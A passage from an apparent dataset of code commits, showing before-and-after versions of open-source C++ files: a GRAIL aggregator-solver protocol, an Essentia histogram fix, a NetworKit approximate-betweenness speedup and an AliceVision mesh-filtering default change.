reader.cur_index;\n      sample.sense_data = std::vector<unsigned char>(left);\n      reader.readPrimitiveContainer(sample.sense_data);\n    }\n  }\n\n  return sample;\n}\n\n\n<commit_msg>Adding file documentation header.<commit_after>\/*\n * Copyright (c) 2012 Bernhard Firner and Rutgers University\n * All rights reserved.\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA\n * or visit http:\/\/www.gnu.org\/licenses\/gpl-2.0.html\n *\/\n\n\/**\n * @file aggregator_solver_protocol.cpp\n * Defines messages between aggregators and solvers in the\n * owl\/grail platform format.\n *\n * @author Bernhard Firner\n *\/\n\n#include \"aggregator_solver_protocol.hpp\"\n#include \"netbuffer.hpp\"\n#include \"sample_data.hpp\"\n\n#include <algorithm>\n#include <string>\n#include <iterator>\n#include <array>\n#include <vector>\n\n#include <iostream>\n\nusing namespace aggregator_solver;\n\nstd::vector<unsigned char> aggregator_solver::makeHandshakeMsg() {\n  std::vector<unsigned char> buff(4);\n  std::string protocol_string = \"GRAIL solver protocol\";\n  buff.insert(buff.end(), protocol_string.begin(), protocol_string.end());\n  \/\/Version number and extension are both currently zero\n  buff.push_back(0);\n  buff.push_back(0);\n  \/\/Insert the length of the protocol string into the buffer\n  pushBackVal<uint32_t>(protocol_string.length(), buff, 0);\n  return buff;\n}\n\nstd::vector<unsigned char>&& aggregator_solver::makeCertMsg();\n\nstd::vector<unsigned char>&& aggregator_solver::ackCertMsg();\n\nstd::vector<unsigned char> aggregator_solver::makeSubscribeReqMsg(Subscription& rules) {\n  \/\/The total length starts out at one for the message type field.\n  \/\/Each rule will add additional length.\n  uint32_t total_length = 1;\n\n  std::vector<unsigned char> buff;\n\n  buff.push_back(0);\n  buff.push_back(0);\n  buff.push_back(0);\n  buff.push_back(0);\n  buff.push_back((unsigned char)subscription_request);\n\n  \/\/Push back the rules\n  {\n    \/\/First push the number of rules onto the buffer\n    uint32_t num_rules = rules.size();\n    total_length += pushBackVal(num_rules, buff);\n\n    \/\/For each rule push back the physical layer, the number of\n    \/\/tx rules and the tx rules, the number of boxes and the boxes,\n    \/\/and the number of FSM\/TR rules and the FSM\/TR rules.\n    for (auto rule = rules.begin(); rule != rules.end(); ++rule) {\n      \/\/Push the physical layer\n      total_length += pushBackVal(rule->physical_layer, buff);\n\n      \/\/Push the transmitter information\n      uint32_t num_txers = rule->txers.size();\n      total_length += pushBackVal(num_txers, buff);\n      \/\/Each transmitter is made of an ID and a MASK\n      for (auto txer = rule->txers.begin(); txer != rule->txers.end(); ++txer) {\n        total_length += pushBackVal(txer->base_id, buff);\n        total_length += pushBackVal(txer->mask, buff);\n      }\n\n      \/\/Finish the rule with the update interval\n      total_length += pushBackVal(rule->update_interval, buff);\n    }\n  }\n\n  \/\/Store the message length in the first four bytes\n  pushBackVal<uint32_t>(total_length, buff, 0);\n\n  return buff;\n}\n\nSubscription aggregator_solver::decodeSubscribeMsg(std::vector<unsigned char>& buff, unsigned int length) {\n  Subscription rules;\n\n  \/\/Only process the message if its type matches one of the subscription ids\n  \/\/and if the message is large enough to be valid.\n  if ( length > 4 ) {\n\n    BuffReader reader(buff);\n    uint32_t entire_length = reader.readPrimitive<uint32_t>();\n    MessageID msg_type = MessageID(reader.readPrimitive<uint8_t>());\n    if (entire_length + 4 == length and\n        (subscription_request == msg_type or\n         subscription_response == msg_type)) {\n\n      uint32_t num_rules = reader.readPrimitive<uint32_t>();\n      for (size_t rule_no = 0; rule_no < num_rules; ++rule_no) {\n        Rule rule;\n        rule.physical_layer = reader.readPrimitive<unsigned char>();\n        \/\/Read in the txer ids and masks\n        uint32_t num_txers = reader.readPrimitive<uint32_t>();\n        for (size_t txer_no = 0; txer_no < num_txers; ++txer_no) {\n          Transmitter t;\n          t.base_id = reader.readPrimitive<uint128_t>();\n          t.mask = reader.readPrimitive<uint128_t>();\n          rule.txers.push_back(t);\n        }\n\n        rule.update_interval = reader.readPrimitive<decltype(rule.update_interval)>();\n\n        rules.push_back(rule);\n\n      }\n    }\n  }\n\n  return rules;\n}\n\nstd::vector<unsigned char> aggregator_solver::makeSampleMsg(SampleData& sample) {\n  \/\/The total length starts out at one for the message type field.\n  \/\/Each rule will add additional length.\n  uint32_t total_length = 1;\n\n  std::vector<unsigned char> buff;\n\n  buff.push_back(0);\n  buff.push_back(0);\n  buff.push_back(0);\n  buff.push_back(0);\n  buff.push_back((unsigned char)server_sample);\n\n  total_length += pushBackVal(sample.physical_layer, buff);\n  total_length += pushBackVal(sample.tx_id, buff);\n  total_length += pushBackVal(sample.rx_id, buff);\n  total_length += pushBackVal(sample.rx_timestamp, buff);\n  total_length += pushBackVal(sample.rss, buff);\n  if (sample.sense_data.size() > 0) {\n    total_length += pushContainer(sample.sense_data, buff);\n  }\n\n  pushBackVal<uint32_t>(total_length, buff, 0);\n  \n  return buff;\n}\n\nSampleData aggregator_solver::decodeSampleMsg(std::vector<unsigned char>& buff, unsigned int length) {\n  SampleData sample;\n  \/\/Assume that the sample is invalid until we manage to get data out of buff\n  sample.valid = false;\n\n  \/\/Only process the message if its type matches the server_sample id\n  \/\/and the length is sane.\n  if ( length > 4 ) {\n\n    \/\/Make a new buffer reader for this message and put the data into the\n    \/\/sample structure.\n    BuffReader reader(buff);\n    uint32_t entire_length = reader.readPrimitive<uint32_t>();\n    MessageID msg_type = MessageID(reader.readPrimitive<uint8_t>());\n    if (entire_length + 4 == length and\n        server_sample == msg_type) {\n      \/\/Since we found data to read into the sample, mark it as valid.\n      sample.valid = true;\n      sample.physical_layer = reader.readPrimitive<decltype(sample.physical_layer)>();\n      sample.tx_id = reader.readPrimitive<decltype(sample.tx_id)>();\n      sample.rx_id = reader.readPrimitive<decltype(sample.rx_id)>();\n      sample.rx_timestamp = reader.readPrimitive<decltype(sample.rx_timestamp)>();\n      sample.rss = reader.readPrimitive<decltype(sample.rss)>();\n      \/\/Get the size of the sense data\n      unsigned int left = length - reader.cur_index;\n      sample.sense_data = std::vector<unsigned char>(left);\n      reader.readPrimitiveContainer(sample.sense_data);\n    }\n  }\n\n  return sample;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2006-2020  Music Technology Group - Universitat Pompeu Fabra\n *\n * This file is part of Essentia\n *\n * Essentia is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU Affero General Public License as published by the Free\n * Software Foundation (FSF), either version 3 of the License, or (at your\n * option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more\n * details.\n *\n * You should have received a copy of the Affero GNU General Public License\n * version 3 along with this program.  If not, see http:\/\/www.gnu.org\/licenses\/\n *\/\n\n#include \"histogram.h\"\n\nusing namespace essentia;\nusing namespace standard;\n\nconst char* Histogram::name = \"Histogram\";\nconst char* Histogram::category = \"Statistics\";\nconst char* Histogram::description = DOC(\"This algorithm computes a histogram. Values outside the range are ignored\");\n\nvoid Histogram::configure() {\n  _normalize = parameter(\"normalize\").toString(); \n  _minValue = parameter(\"minValue\").toReal();\n  _maxValue = parameter(\"maxValue\").toReal();\n  _numberBins = parameter(\"numberBins\").toInt();\n\n  if(_maxValue < _minValue)\n    throw EssentiaException(\"Histogram: maxValue must be > minValue\");\n\n  if(_maxValue == _minValue) {\n    if(_numberBins > 1)\n       throw EssentiaException(\"Histogram: numberBins must = 1 when maxValue = minValue\");\n  }\n\n  binWidth =  (_maxValue - _minValue)\/(Real)_numberBins;\n\n  tempBinEdges.resize(_numberBins+1);\n\n  tempBinEdges[0] = _minValue;\n  for(std::vector<Real>::iterator it = tempBinEdges.begin()+1; it != tempBinEdges.end(); it++) {\n    *it = *(it-1) + binWidth;\n  }\n\n}\n\nvoid Histogram::compute() {\n  \n  const std::vector<Real>& array = _array.get();\n  std::vector<Real>& histogram = _histogram.get();\n  std::vector<Real>& binEdges = _binEdges.get();\n  \n  histogram.resize(_numberBins);\n  binEdges.assign(tempBinEdges.begin(), tempBinEdges.end());\n\n  for(size_t i = 0; i < array.size(); i++){\n    if(array[i] < _maxValue && array[i] >= _minValue)\n      histogram[floor(array[i]\/(Real)binWidth)]++;\n    else if(array[i] == _maxValue) \n      histogram[_numberBins-1]++;\n  }\n\n  if(_normalize != \"none\"){\n    Real denominator = 0;\n    if(_normalize == \"unit_sum\") {\n      for(std::vector<Real>::iterator it = histogram.begin(); it != histogram.end(); it++) {\n        denominator += *it;\n      }\n    }\n    if(_normalize == \"unit_max\") {\n      for(std::vector<Real>::iterator it = histogram.begin(); it != histogram.end(); it++) {\n        if(*it > denominator)\n          denominator = *it;\n      }\n    }\n    for(std::vector<Real>::iterator it = histogram.begin(); it != histogram.end(); it++) { \n      *it = *it\/denominator;    \n    }\n  }\n}\n<commit_msg>Fixed histogram logic<commit_after>\/*\n * Copyright (C) 2006-2020  Music Technology Group - Universitat Pompeu Fabra\n *\n * This file is part of Essentia\n *\n * Essentia is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU Affero General Public License as published by the Free\n * Software Foundation (FSF), either version 3 of the License, or (at your\n * option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more\n * details.\n *\n * You should have received a copy of the Affero GNU General Public License\n * version 3 along with this program.  If not, see http:\/\/www.gnu.org\/licenses\/\n *\/\n\n#include \"histogram.h\"\n\nusing namespace essentia;\nusing namespace standard;\n\nconst char* Histogram::name = \"Histogram\";\nconst char* Histogram::category = \"Statistics\";\nconst char* Histogram::description = DOC(\"This algorithm computes a histogram. Values outside the range are ignored\");\n\nvoid Histogram::configure() {\n  _normalize = parameter(\"normalize\").toString(); \n  _minValue = parameter(\"minValue\").toReal();\n  _maxValue = parameter(\"maxValue\").toReal();\n  _numberBins = parameter(\"numberBins\").toInt();\n\n  if(_maxValue < _minValue)\n    throw EssentiaException(\"Histogram: maxValue must be > minValue\");\n\n  if(_maxValue == _minValue) {\n    if(_numberBins > 1)\n       throw EssentiaException(\"Histogram: numberBins must = 1 when maxValue = minValue\");\n  }\n\n  binWidth =  (_maxValue - _minValue)\/(Real)_numberBins;\n\n  tempBinEdges.resize(_numberBins+1);\n\n  tempBinEdges[0] = _minValue;\n  for(std::vector<Real>::iterator it = tempBinEdges.begin()+1; it != tempBinEdges.end(); it++) {\n    *it = *(it-1) + binWidth;\n  }\n\n}\n\nvoid Histogram::compute() {\n  \n  const std::vector<Real>& array = _array.get();\n  std::vector<Real>& histogram = _histogram.get();\n  std::vector<Real>& binEdges = _binEdges.get();\n  \n  histogram.resize(_numberBins);\n  binEdges.assign(tempBinEdges.begin(), tempBinEdges.end());\n\n  for(size_t i = 0; i < array.size(); i++){\n    if(array[i] < _maxValue && array[i] >= _minValue)\n      histogram[floor((array[i] - _minValue)\/(Real)binWidth)]++;\n    else if(array[i] == _maxValue) \n      histogram[_numberBins-1]++;\n  }\n\n  if(_normalize != \"none\"){\n    Real denominator = 0;\n    if(_normalize == \"unit_sum\") {\n      for(std::vector<Real>::iterator it = histogram.begin(); it != histogram.end(); it++) {\n        denominator += *it;\n      }\n    }\n    if(_normalize == \"unit_max\") {\n      for(std::vector<Real>::iterator it = histogram.begin(); it != histogram.end(); it++) {\n        if(*it > denominator)\n          denominator = *it;\n      }\n    }\n    for(std::vector<Real>::iterator it = histogram.begin(); it != histogram.end(); it++) { \n      *it = *it\/denominator;    \n    }\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * ApproxBetweenness.cpp\n *\n *  Created on: 09.04.2014\n *      Author: cls\n *\/\n\n#include \"ApproxBetweenness.h\"\n#include \"..\/auxiliary\/Random.h\"\n#include \"..\/properties\/Diameter.h\"\n#include \"..\/graph\/Sampling.h\"\n#include \"..\/graph\/Dijkstra.h\"\n#include \"..\/graph\/BFS.h\"\n#include \"..\/graph\/SSSP.h\"\n#include \"..\/auxiliary\/Log.h\"\n\n#include <math.h>\n#include <algorithm>\n#include <memory>\n#include <omp.h>\n\nnamespace NetworKit {\n\nApproxBetweenness::ApproxBetweenness(const Graph& G, double epsilon, double delta, count diameterSamples) : Centrality(G, true), epsilon(epsilon), delta(delta), diameterSamples(diameterSamples) {\n\n}\n\n\nvoid ApproxBetweenness::run() {\n\tscoreData.clear();\n\tscoreData.resize(G.upperNodeIdBound());\n\n\tdouble c = 0.5; \/\/ universal positive constant - see reference in paper\n\n\n\tedgeweight vd = 0;\n\tif (diameterSamples == 0) {\n\t\tINFO(\"estimating vertex diameter pedantically\");\n\t\tvd = Diameter::estimatedVertexDiameterPedantic(G);\n\t} else {\n\t\t\/**\n\t\t* This is an optimization which deviates from the original algorithm.\n\t\t* Instead of getting an estimate for each of possibly thousands of connected component and taking the maximum,\n\t\t* we sample the graph and take the maximum diameter found. This has a high chance of  hitting the component with the maximum vertex diameter.\n\t\t*\/\n\t\tINFO(\"estimating vertex diameter roughly\");\n\t\tvd = Diameter::estimatedVertexDiameter(G, diameterSamples);\n\t}\n\n\tINFO(\"estimated diameter: \", vd);\n\tr = ceil((c \/ (epsilon * epsilon)) * (floor(log(vd - 2)) + 1 + log(1 \/ delta)));\n\n\tINFO(\"taking \", r, \" path samples\");\n\n\t\/\/ parallelization:\n\tcount maxThreads = omp_get_max_threads();\n\tDEBUG(\"max threads: \", maxThreads);\n\tstd::vector<std::vector<double> > scorePerThread(maxThreads, std::vector<double>(G.upperNodeIdBound()));\n\tDEBUG(\"score per thread size: \", scorePerThread.size());\n\n\t#pragma omp parallel for\n\tfor (count i = 1; i <= r; i++) {\n\t\tcount thread = omp_get_thread_num();\n\t\tDEBUG(\"sample \", i);\n\t\t\/\/ if (i >= 1000) throw std::runtime_error(\"too many iterations\");\n\t\t\/\/ DEBUG\n\t\t\/\/ sample random node pair\n\t\tnode u, v;\n\t\tu = Sampling::randomNode(G);\n\t\tdo {\n\t\t\tv = Sampling::randomNode(G);\n\t\t} while (v == u);\n\n\t\t\/\/ runs faster for unweighted graphs\n\t\tstd::unique_ptr<SSSP> sssp;\n\t\tif (G.isWeighted()) {\n\t\t\tsssp.reset(new Dijkstra(G, u));\n\t\t} else {\n\t\t\tsssp.reset(new BFS(G, u));\n\t\t}\n\t\tDEBUG(\"running shortest path algorithm for node \", u);\n\t\tsssp->run(); \/\/ TODO: this can be optimized by stopping the search once the target node has been reached\n\t\tif (sssp->numberOfPaths(v) > 0) { \/\/ at least one path between {u, v} exists\n\t\t\tDEBUG(\"updating estimate for path \", u, \" <-> \", v);\n\t\t\t\/\/ random path sampling and estimation update\n\t\t\t\/\/ node s = v;\n\t\t\tnode t = v;\n\t\t\twhile (t != u)  {\n\t\t\t\t\/\/ sample z in P_u(t) with probability sigma_uz \/ sigma_us\n\t\t\t\tstd::vector<std::pair<node, double> > choices;\n\n\t\t\t\tfor (node z : sssp->getPredecessors(t)) {\n\t\t\t\t\tchoices.emplace_back(z, sssp->numberOfPaths(z) \/ (double) sssp->numberOfPaths(t)); \t\/\/ sigma_uz \/ sigma_us\n\t\t\t\t}\n\t\t\t\tnode z = Aux::Random::weightedChoice(choices);\n\t\t\t\tassert (z <= G.upperNodeIdBound());\n\t\t\t\tif (z != u) {\n\t\t\t\t\tscorePerThread[thread][z] += 1 \/ (double) r;\n\t\t\t\t}\n\t\t\t\t\/\/ s = t;\n\t\t\t\tt = z;\n\t\t\t}\n\t\t}\n\t}\n\n\tINFO(\"adding thread-local scores\");\n\t\/\/ add up all thread-local values\n\tfor (auto local : scorePerThread) {\n\t\tG.parallelForNodes([&](node v){\n\t\t\tscoreData[v] += local[v];\n\t\t});\n\t}\n\n}\n\n\ncount ApproxBetweenness::numberOfSamples() {\n\treturn r;\n}\n\n\n} \/* namespace NetworKit *\/\n<commit_msg>made ApproxBetweenness faster using the BFS stop after it finds the target vertex<commit_after>\/*\n * ApproxBetweenness.cpp\n *\n *  Created on: 09.04.2014\n *      Author: cls\n *\/\n\n#include \"ApproxBetweenness.h\"\n#include \"..\/auxiliary\/Random.h\"\n#include \"..\/properties\/Diameter.h\"\n#include \"..\/graph\/Sampling.h\"\n#include \"..\/graph\/Dijkstra.h\"\n#include \"..\/graph\/BFS.h\"\n#include \"..\/graph\/SSSP.h\"\n#include \"..\/auxiliary\/Log.h\"\n\n#include <math.h>\n#include <algorithm>\n#include <memory>\n#include <omp.h>\n\nnamespace NetworKit {\n\nApproxBetweenness::ApproxBetweenness(const Graph& G, double epsilon, double delta, count diameterSamples) : Centrality(G, true), epsilon(epsilon), delta(delta), diameterSamples(diameterSamples) {\n\n}\n\n\nvoid ApproxBetweenness::run() {\n\tscoreData.clear();\n\tscoreData.resize(G.upperNodeIdBound());\n\n\tdouble c = 0.5; \/\/ universal positive constant - see reference in paper\n\n\n\tedgeweight vd = 0;\n\tif (diameterSamples == 0) {\n\t\tINFO(\"estimating vertex diameter pedantically\");\n\t\tvd = Diameter::estimatedVertexDiameterPedantic(G);\n\t} else {\n\t\t\/**\n\t\t* This is an optimization which deviates from the original algorithm.\n\t\t* Instead of getting an estimate for each of possibly thousands of connected component and taking the maximum,\n\t\t* we sample the graph and take the maximum diameter found. This has a high chance of  hitting the component with the maximum vertex diameter.\n\t\t*\/\n\t\tINFO(\"estimating vertex diameter roughly\");\n\t\tvd = Diameter::estimatedVertexDiameter(G, diameterSamples);\n\t}\n\n\tINFO(\"estimated diameter: \", vd);\n\tr = ceil((c \/ (epsilon * epsilon)) * (floor(log(vd - 2)) + 1 + log(1 \/ delta)));\n\n\tINFO(\"taking \", r, \" path samples\");\n\n\t\/\/ parallelization:\n\tcount maxThreads = omp_get_max_threads();\n\tDEBUG(\"max threads: \", maxThreads);\n\tstd::vector<std::vector<double> > scorePerThread(maxThreads, std::vector<double>(G.upperNodeIdBound()));\n\tDEBUG(\"score per thread size: \", scorePerThread.size());\n\n\t#pragma omp parallel for\n\tfor (count i = 1; i <= r; i++) {\n\t\tcount thread = omp_get_thread_num();\n\t\tDEBUG(\"sample \", i);\n\t\t\/\/ if (i >= 1000) throw std::runtime_error(\"too many iterations\");\n\t\t\/\/ DEBUG\n\t\t\/\/ sample random node pair\n\t\tnode u, v;\n\t\tu = Sampling::randomNode(G);\n\t\tdo {\n\t\t\tv = Sampling::randomNode(G);\n\t\t} while (v == u);\n\n\t\t\/\/ runs faster for unweighted graphs\n\t\tstd::unique_ptr<SSSP> sssp;\n\t\tif (G.isWeighted()) {\n\t\t\tsssp.reset(new Dijkstra(G, u));\n\t\t} else {\n\t\t\tsssp.reset(new BFS(G, u));\n\t\t}\n\t\tDEBUG(\"running shortest path algorithm for node \", u);\n\t\tsssp->run(v); \/\/ TODO: this can be optimized by stopping the search once the target node has been reached\n\t\tif (sssp->numberOfPaths(v) > 0) { \/\/ at least one path between {u, v} exists\n\t\t\tDEBUG(\"updating estimate for path \", u, \" <-> \", v);\n\t\t\t\/\/ random path sampling and estimation update\n\t\t\t\/\/ node s = v;\n\t\t\tnode t = v;\n\t\t\twhile (t != u)  {\n\t\t\t\t\/\/ sample z in P_u(t) with probability sigma_uz \/ sigma_us\n\t\t\t\tstd::vector<std::pair<node, double> > choices;\n\n\t\t\t\tfor (node z : sssp->getPredecessors(t)) {\n\t\t\t\t\tchoices.emplace_back(z, sssp->numberOfPaths(z) \/ (double) sssp->numberOfPaths(t)); \t\/\/ sigma_uz \/ sigma_us\n\t\t\t\t}\n\t\t\t\tnode z = Aux::Random::weightedChoice(choices);\n\t\t\t\tassert (z <= G.upperNodeIdBound());\n\t\t\t\tif (z != u) {\n\t\t\t\t\tscorePerThread[thread][z] += 1 \/ (double) r;\n\t\t\t\t}\n\t\t\t\t\/\/ s = t;\n\t\t\t\tt = z;\n\t\t\t}\n\t\t}\n\t}\n\n\tINFO(\"adding thread-local scores\");\n\t\/\/ add up all thread-local values\n\tfor (auto local : scorePerThread) {\n\t\tG.parallelForNodes([&](node v){\n\t\t\tscoreData[v] += local[v];\n\t\t});\n\t}\n\n}\n\n\ncount ApproxBetweenness::numberOfSamples() {\n\treturn r;\n}\n\n\n} \/* namespace NetworKit *\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file is part of the AliceVision project.\n\/\/ Copyright (c) 2017 AliceVision contributors.\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public License,\n\/\/ v. 2.0. If a copy of the MPL was not distributed with this file,\n\/\/ You can obtain one at https:\/\/mozilla.org\/MPL\/2.0\/.\n\n#include <aliceVision\/system\/cmdline.hpp>\n#include <aliceVision\/system\/Logger.hpp>\n#include <aliceVision\/system\/Timer.hpp>\n#include <aliceVision\/mesh\/MeshEnergyOpt.hpp>\n#include <aliceVision\/mesh\/Texturing.hpp>\n#include <aliceVision\/mvsUtils\/common.hpp>\n\n#include <boost\/program_options.hpp>\n#include <boost\/filesystem.hpp>\n\n\/\/ These constants define the current software version.\n\/\/ They must be updated when the command line is changed.\n#define ALICEVISION_SOFTWARE_VERSION_MAJOR 2\n#define ALICEVISION_SOFTWARE_VERSION_MINOR 0\n\nusing namespace aliceVision;\n\nnamespace bfs = boost::filesystem;\nnamespace po = boost::program_options;\n\nint main(int argc, char* argv[])\n{\n    system::Timer timer;\n\n    std::string verboseLevel = system::EVerboseLevel_enumToString(system::Logger::getDefaultVerboseLevel());\n    std::string inputMeshPath;\n    std::string outputMeshPath;\n\n    bool keepLargestMeshOnly = true;\n    double removeLargeTrianglesFactor = 60.0;\n\n    int smoothNIter = 10;\n    float lambda = 1.0f;\n\n    po::options_description allParams(\"AliceVision meshFiltering\");\n\n    po::options_description requiredParams(\"Required parameters\");\n    requiredParams.add_options()\n        (\"input,i\", po::value<std::string>(&inputMeshPath)->required(),\n            \"Input Mesh (OBJ file format).\")\n        (\"output,o\", po::value<std::string>(&outputMeshPath)->required(),\n            \"Output mesh (OBJ file format).\");\n\n    po::options_description optionalParams(\"Optional parameters\");\n    optionalParams.add_options()\n        (\"keepLargestMeshOnly\", po::value<bool>(&keepLargestMeshOnly)->default_value(keepLargestMeshOnly),\n            \"Keep only the largest connected triangles group.\")\n        (\"removeLargeTrianglesFactor\", po::value<double>(&removeLargeTrianglesFactor)->default_value(removeLargeTrianglesFactor),\n            \"Remove all large triangles. We consider a triangle as large if one edge is bigger than N times the average edge length. Put zero to disable it.\")\n        (\"iterations\", po::value<int>(&smoothNIter)->default_value(smoothNIter),\n            \"Number of smoothing iterations.\")\n        (\"lambda\", po::value<float>(&lambda)->default_value(lambda),\n            \"Smoothing size.\");\n\n    po::options_description logParams(\"Log parameters\");\n    logParams.add_options()\n      (\"verboseLevel,v\", po::value<std::string>(&verboseLevel)->default_value(verboseLevel),\n        \"verbosity level (fatal, error, warning, info, debug, trace).\");\n\n    allParams.add(requiredParams).add(optionalParams).add(logParams);\n\n    po::variables_map vm;\n\n    try\n    {\n      po::store(po::parse_command_line(argc, argv, allParams), vm);\n\n      if(vm.count(\"help\") || (argc == 1))\n      {\n        ALICEVISION_COUT(allParams);\n        return EXIT_SUCCESS;\n      }\n\n      po::notify(vm);\n    }\n    catch(boost::program_options::required_option& e)\n    {\n      ALICEVISION_CERR(\"ERROR: \" << e.what() << std::endl);\n      ALICEVISION_COUT(\"Usage:\\n\\n\" << allParams);\n      return EXIT_FAILURE;\n    }\n    catch(boost::program_options::error& e)\n    {\n      ALICEVISION_CERR(\"ERROR: \" << e.what() << std::endl);\n      ALICEVISION_COUT(\"Usage:\\n\\n\" << allParams);\n      return EXIT_FAILURE;\n    }\n\n    ALICEVISION_COUT(\"Program called with the following parameters:\");\n    ALICEVISION_COUT(vm);\n\n    \/\/ set verbose level\n    system::Logger::get()->setLogLevel(verboseLevel);\n\n    bfs::path outDirectory = bfs::path(outputMeshPath).parent_path();\n    if(!bfs::is_directory(outDirectory))\n        bfs::create_directory(outDirectory);\n\n    mesh::Texturing texturing;\n    texturing.loadFromOBJ(inputMeshPath);\n    mesh::Mesh* mesh = texturing.me;\n\n    if(!mesh)\n    {\n        ALICEVISION_LOG_ERROR(\"Unable to read input mesh from the file: \" << inputMeshPath);\n        return EXIT_FAILURE;\n    }\n\n    if(mesh->pts->empty() || mesh->tris->empty())\n    {\n        ALICEVISION_LOG_ERROR(\"Error: empty mesh from the file \" << inputMeshPath);\n        ALICEVISION_LOG_ERROR(\"Input mesh: \" << mesh->pts->size() << \" vertices and \" << mesh->tris->size() << \" facets.\");\n        return EXIT_FAILURE;\n    }\n\n    ALICEVISION_LOG_INFO(\"Mesh file: \\\"\" << inputMeshPath << \"\\\" loaded.\");\n    ALICEVISION_LOG_INFO(\"Input mesh: \" << mesh->pts->size() << \" vertices and \" << mesh->tris->size() << \" facets.\");\n\n    if(removeLargeTrianglesFactor != 0.0)\n    {\n        mesh->filterLargeEdgeTriangles(removeLargeTrianglesFactor);\n        ALICEVISION_LOG_INFO(\"Mesh after large triangles removal: \" << mesh->pts->size() << \" vertices and \" << mesh->tris->size() << \" facets.\");\n    }\n\n    mesh::MeshEnergyOpt meOpt(nullptr);\n    {\n        ALICEVISION_LOG_INFO(\"Start mesh filtering.\");\n        meOpt.addMesh(mesh);\n        meOpt.init();\n        meOpt.cleanMesh(10);\n\n        StaticVectorBool* ptsCanMove = nullptr;\n        meOpt.optimizeSmooth(lambda, smoothNIter, ptsCanMove);\n\n        ALICEVISION_LOG_INFO(\"Mesh filtering done: \" << meOpt.pts->size() << \" vertices and \" << meOpt.tris->size() << \" facets.\");\n    }\n\n    if(keepLargestMeshOnly)\n    {\n        StaticVector<int>* trisIdsToStay = meOpt.getLargestConnectedComponentTrisIds();\n        meOpt.letJustTringlesIdsInMesh(trisIdsToStay);\n        delete trisIdsToStay;\n        ALICEVISION_LOG_INFO(\"Mesh after keepLargestMeshOnly: \" << meOpt.pts->size() << \" vertices and \" << meOpt.tris->size() << \" facets.\");\n    }\n\n    mesh::Mesh outMesh;\n    outMesh.addMesh(&meOpt);\n\n    ALICEVISION_COUT(\"Output mesh: \" << mesh->pts->size() << \" vertices and \" << mesh->tris->size() << \" facets.\");\n\n    if(outMesh.pts->empty() || outMesh.tris->empty())\n    {\n        ALICEVISION_CERR(\"Failed: the output mesh is empty.\");\n        ALICEVISION_LOG_INFO(\"Output mesh: \" << outMesh.pts->size() << \" vertices and \" << outMesh.tris->size() << \" facets.\");\n        return EXIT_FAILURE;\n    }\n\n    ALICEVISION_LOG_INFO(\"Save mesh.\");\n\n    \/\/ Save output mesh\n    outMesh.saveToObj(outputMeshPath);\n\n    ALICEVISION_LOG_INFO(\"Mesh file: \\\"\" << outputMeshPath << \"\\\" saved.\");\n\n    ALICEVISION_LOG_INFO(\"Task done in (s): \" + std::to_string(timer.elapsed()));\n    return EXIT_SUCCESS;\n}\n<commit_msg>[software] `MeshFiltering` option `keepLargestMeshOnly` to false<commit_after>\/\/ This file is part of the AliceVision project.\n\/\/ Copyright (c) 2017 AliceVision contributors.\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public License,\n\/\/ v. 2.0. If a copy of the MPL was not distributed with this file,\n\/\/ You can obtain one at https:\/\/mozilla.org\/MPL\/2.0\/.\n\n#include <aliceVision\/system\/cmdline.hpp>\n#include <aliceVision\/system\/Logger.hpp>\n#include <aliceVision\/system\/Timer.hpp>\n#include <aliceVision\/mesh\/MeshEnergyOpt.hpp>\n#include <aliceVision\/mesh\/Texturing.hpp>\n#include <aliceVision\/mvsUtils\/common.hpp>\n\n#include <boost\/program_options.hpp>\n#include <boost\/filesystem.hpp>\n\n\/\/ These constants define the current software version.\n\/\/ They must be updated when the command line is changed.\n#define ALICEVISION_SOFTWARE_VERSION_MAJOR 2\n#define ALICEVISION_SOFTWARE_VERSION_MINOR 0\n\nusing namespace aliceVision;\n\nnamespace bfs = boost::filesystem;\nnamespace po = boost::program_options;\n\nint main(int argc, char* argv[])\n{\n    system::Timer timer;\n\n    std::string verboseLevel = system::EVerboseLevel_enumToString(system::Logger::getDefaultVerboseLevel());\n    std::string inputMeshPath;\n    std::string outputMeshPath;\n\n    bool keepLargestMeshOnly = false;\n    double removeLargeTrianglesFactor = 60.0;\n\n    int smoothNIter = 10;\n    float lambda = 1.0f;\n\n    po::options_description allParams(\"AliceVision meshFiltering\");\n\n    po::options_description requiredParams(\"Required parameters\");\n    requiredParams.add_options()\n        (\"input,i\", po::value<std::string>(&inputMeshPath)->required(),\n            \"Input Mesh (OBJ file format).\")\n        (\"output,o\", po::value<std::string>(&outputMeshPath)->required(),\n            \"Output mesh (OBJ file format).\");\n\n    po::options_description optionalParams(\"Optional parameters\");\n    optionalParams.add_options()\n        (\"keepLargestMeshOnly\", po::value<bool>(&keepLargestMeshOnly)->default_value(keepLargestMeshOnly),\n            \"Keep only the largest connected triangles group.\")\n        (\"removeLargeTrianglesFactor\", po::value<double>(&removeLargeTrianglesFactor)->default_value(removeLargeTrianglesFactor),\n            \"Remove all large triangles. We consider a triangle as large if one edge is bigger than N times the average edge length. Put zero to disable it.\")\n        (\"iterations\", po::value<int>(&smoothNIter)->default_value(smoothNIter),\n            \"Number of smoothing iterations.\")\n        (\"lambda\", po::value<float>(&lambda)->default_value(lambda),\n            \"Smoothing size.\");\n\n    po::options_description logParams(\"Log parameters\");\n    logParams.add_options()\n      